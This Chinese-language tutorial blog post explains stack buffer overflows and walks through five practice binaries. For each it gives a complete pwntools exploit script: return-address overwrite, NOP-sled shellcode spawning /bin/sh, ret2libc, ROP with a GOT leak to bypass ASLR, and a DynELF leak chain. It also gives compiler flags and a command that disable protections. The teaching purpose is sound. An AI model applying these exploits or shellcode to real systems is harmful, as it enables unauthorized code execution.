二进制安全之栈溢出漏洞

程序的栈是从高地址向低地址增长的。
程序的堆是从低地址向高地址增长的。

程序的栈

EIP寄存器不能显式地通过指令修改值,可以通过jmp、call、ret隐式地修改。

x86架构用字母“e(extended)”作名称前缀,指示寄存器大小为32位;x86_64架构用字母“r”作名称前缀,指示各寄存器大小为64位

FP(栈帧指针寄存器)–>EBP寄存器,记录栈帧基地址,可以通过它来引用到局部变量和函数参数。

函数调用时入栈顺序为
实参N~1→主调函数返回地址→主调函数帧基指针EBP→被调函数局部变量1~N
x86
函数参数在函数返回地址的上方,如上图
x64
x64中前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9寄存器里,如果还有更多的参数的话才会保存在栈上。
内存地址不能大于0x00007FFFFFFFFFFF,6个字节长度,否则会抛出异常。

栈溢出原理

程序向栈上的某个变量写入数据,而没有控制好写入的长度,导致可以超过该变量申请的长度而覆盖别的内存。
可导致程序崩溃甚至控制程序执行流程。

简单例子1

#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
  char s[12];
  gets(s);
  puts(s);
  return;
}
int main(int argc, char **argv) {
  vulnerable();
  return 0;
}

pattern_create

pattern_offset

算出偏移,然后,将地址覆盖为success的地址即可

from pwn import *
# context.log_level = "debug"
success_addr = 0x08048456
p = process("./stackoverflow1")
# print p32(success_addr)
payload =  "A"*24 + p32(success_addr)
p.sendline(payload)
p.interactive()    

简单例子2

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function(){
        char buf[128];
        read(STDIN_FILENO, buf, 256);
}

int main(int argc, char ** argv){

        vulnerable_function();
        write(STDOUT_FILENO, "Hello world\n", 13);

}
gcc -m32 -z  execstack -no-pie -fno-stack-protector -g  -o stackoverflow2 stackoverflow2.c

这道题目还是很有意思的,学习蒸米大佬的一步一步学 ROP 之 Linux_x86 篇

发现了点小问题,就是文中提到直接运行程序和用gdb调试程序时,buf地址是不相同的。

然后,我(问队里大佬)发现用pwntools的process启动的程序也是和直接运行程序的buf地址是不同的。

文中提到的方法是下面这个栈布局方式

[shellcode][“AAAAAAAAAAAAAA”….][ret]

但貌似shellcode的首地址还是比较难搞到的。

由于限制了输入最多只有256个byte,然后自然而然构造如下方式

["\x90\x90\x90..."][shellcode][ret]

\x90汇编代码是nop,则会有比较大的空间容易命中nop。(虽然前面提到buf地址不同,但相差不是太大)。

exp如下

from pwn import *
import pwnlib
context.log_level = "debug"
context.arch = "i386"

p = process("./stackoverflow2")
# p = remote("127.0.0.1",10001)
# pwnlib.gdb.attach(p)

ret_addr = 0xffffd260 + 0x30
# shellcode = asm(shellcraft.sh())

# execve ("/bin/sh")
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f   ;; hs//
# push 0x6e69622f   ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

payload = "\x90" * (140 - len(shellcode)) + shellcode + p32(ret_addr)

p.sendline(payload)
p.interactive()

然后发现不行,问题在于esp地址。

我们知道,在ret的时候,esp指着的地址是ret_addr,然后执行nop、nop、nop一直执行到到压栈(压/bin/sh)的时候,就会把跟他相邻的shellcode给覆盖掉,所以不能一直执行下去。(shellcode不同,压栈的数据量可能不同,可以尽可能预留多一些)

然后,稍微改进下,

from pwn import *
import pwnlib
context.log_level = "debug"
context.arch = "i386"

p = process("./stackoverflow2")
# p = remote("127.0.0.1",10001)
# pwnlib.gdb.attach(p)

ret_addr = 0xffffd260 + 0x30
# shellcode = asm(shellcraft.sh())

# execve ("/bin/sh")
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f   ;; hs//
# push 0x6e69622f   ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80

# context.terminal = ['tmux', 'splitw', '-v']
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

# shellcode = "\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05"
payload = "\x90" * (132 - len(shellcode)) + shellcode + "\x90"*8 + p32(ret_addr)
# payload = "\x90" * (100 - len(shellcode)) + shellcode + "\x90"*40 + p32(ret_addr)

#gdb.attach(p)
p.sendline(payload)
# print p.recv()
p.interactive()

简单例子3

Ret2libc – Bypass DEP 通过 ret2libc 绕过 DEP 防护

gcc -m32 -no-pie -fno-stack-protector -g  -o stackoverflow3 stackoverflow2.c

这里开启了NX,那栈上不能执行代码了。cat /proc/[pid]/maps可以查看得知stack上不能执行。

没开ASLR,所以,libc中地址是固定的。gdb 调试,p system找到system地址,find “/bin/sh”地址。

from pwn import *
import pwnlib
# context.log_level = "debug"
context.arch = "i386"
p = process("./stackoverflow3")
# p = remote("127.0.0.1",10001)
#  pwnlib.gdb.attach(p)

ret_addr =  0xffffd260   #not important
system_addr = 0xf7e0ec60 #0xf7578c60
binsh_addr = 0xf7f4d808  #0xf76b7808

# execve ("/bin/sh")
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f   ;; hs//
# push 0x6e69622f   ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

payload = "A"* 140 + p32(system_addr)+ p32(ret_addr) + p32(binsh_addr)

# context.terminal = ['tmux', 'splitw', '-v']
# gdb.attach(p)
p.sendline(payload)
p.interactive()

这里我们可以分析一下,正常的运行system(“/bin/sh”)的流程是,先push “/bin/sh”,然后,push调用函数的返回地址,然后调用system。

嗯,所以,我们只需要模仿栈上的布局即可,所以有了

p32(system_addr)+ p32(ret_addr) + p32(binsh_addr)

简单例子4

ROP - Bypass DEP and ASLR 通过 ROP 绕过 DEP 和 ASLR 防护

gcc -m32 -no-pie -fno-stack-protector -o stackoverflow4 stackoverflow2.c
开启了ASLR和NX(DEP)。所以思路是要先泄露处libc中某些函数的地址,根据这些地址计算偏移,就可以定位到system地址和"/bin/sh"地址。
from pwn import *
import pwnlib

context.log_level = "debug"
context.arch = "i386"
context.terminal = ['tmux','splitw','-h']

p = process("./stackoverflow4")

libc = ELF("libc.so")
elf = ELF("./stackoverflow4")

plt_write = elf.symbols['write']
got_write = elf.got['write']
vulfun_addr = 0x8048526

print "plt_write = " + hex(plt_write)

payload1 = 'A' * 140 + p32(plt_write) + p32(vulfun_addr) + p32(1) + p32(got_write) + p32(4)

p.recv(100)

# gdb.attach(p)

p.send(payload1)

write_addr = u32(p.recv(4))

system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))

payload2 = 'A' * 140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)

p.send(payload2)

p.interactive()

简单例子 5

Memory Leak & DynELF – 在不获取目标libc.so的情况下进行ROP攻击

例子4中提到的方法,需要获取目标机器上面的libc.so,通过泄露函数地址来算偏移,进而确定system函数的地址,来绕过DEP和ASLR。

在不知道libc.so的情况下,我们可以通过Memory Leak来搜索内存,找到system()的地址。(当然,我们可以尝试泄露两个函数的地址,然后去libc database 里面查版本号)

gcc -m32 -no-pie -fno-stack-protector -o stackoverflow5 stackoverflow2.c

同样的编译方式,但是我们这次不使用libc.so

同样的题目,我们可以模仿前面构造的获取write函数地址,构造Memort Leak

payload = 'A' * 140 + p32(plt_write) + p32(vulfun_addr) + p32(1) + p32(addr) + p32(4)

DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址

所以,我们需要讲/bin/sh字符串读入内存中。

写到.bss段中,.bss段是保存全局变量的值的,地址固定,可读可写。

通过readelf可以获得.bss段的地址

readelf -S ./stackoverflow5

需要注意的是,通过read读入”/bin/sh” 后,我们需要执行system函数,而,read是需要有三个参数的,即

payload = ‘A’*140 + p32(plt_read) + p32(vulfun_addr) + p32(0) + p32(bss_addr) + p32(8)

可以看到,调用完read后,如果要调用后面的函数,则需要pop pop pop ret来弹出那三个参数

可以用objdump找

objdump -d ./stackoverflow5 | grep -A 4 pop

容易找到地址0x8048609

from pwn import *

# context.log_level = "debug"
context.arch = "i386"
context.terminal = ['tmux','splitw','-h']

p = process("./stackoverflow5")

elf = ELF("./stackoverflow5")
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']

vulfun_addr = 0x080484e6
pppr_addr = 0x8048609
bss_addr = 0x0804a024

def leak(addr):
    payload = 'A' * 140 + p32(plt_write) + p32(vulfun_addr) + p32(1) + p32(addr) + p32(4)
    p.send(payload)
    data = p.recv(4)
    print "%#x => %s"%(addr, (data or '').encode('hex'))
    return data

print "leak system addr"
d = DynELF(leak,elf=ELF("./stackoverflow5"))
system_addr = d.lookup('system','libc')
print "system_addr = " + hex(system_addr)

payload = "A" * 140 + p32(plt_read) + p32(pppr_addr) + p32(0) + p32(bss_addr) + p32(8)
payload += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)

# gdb.attach(p)
p.send(payload)
p.send("/bin/sh")

p.interactive()
linux 关闭地址随机化
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
原始值为2 

gcc
-z  execstack 关闭dep/nx
-fno-stack-protector 不开启堆栈溢出保护,即不生成canary
-no-pie  关闭PIE(Position Independent Executable),避免加载基址被打乱

参考资料

https://ctf-wiki.github.io/ctf-wiki/pwn/stackoverflow/stack_intro/

https://segmentfault.com/a/1190000005888964

http://www.cnblogs.com/clover-toeic/p/3755401.html

http://www.cnblogs.com/clover-toeic/p/3756668.html

https://jaq.alibaba.com/community/art/show?articleid=473


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com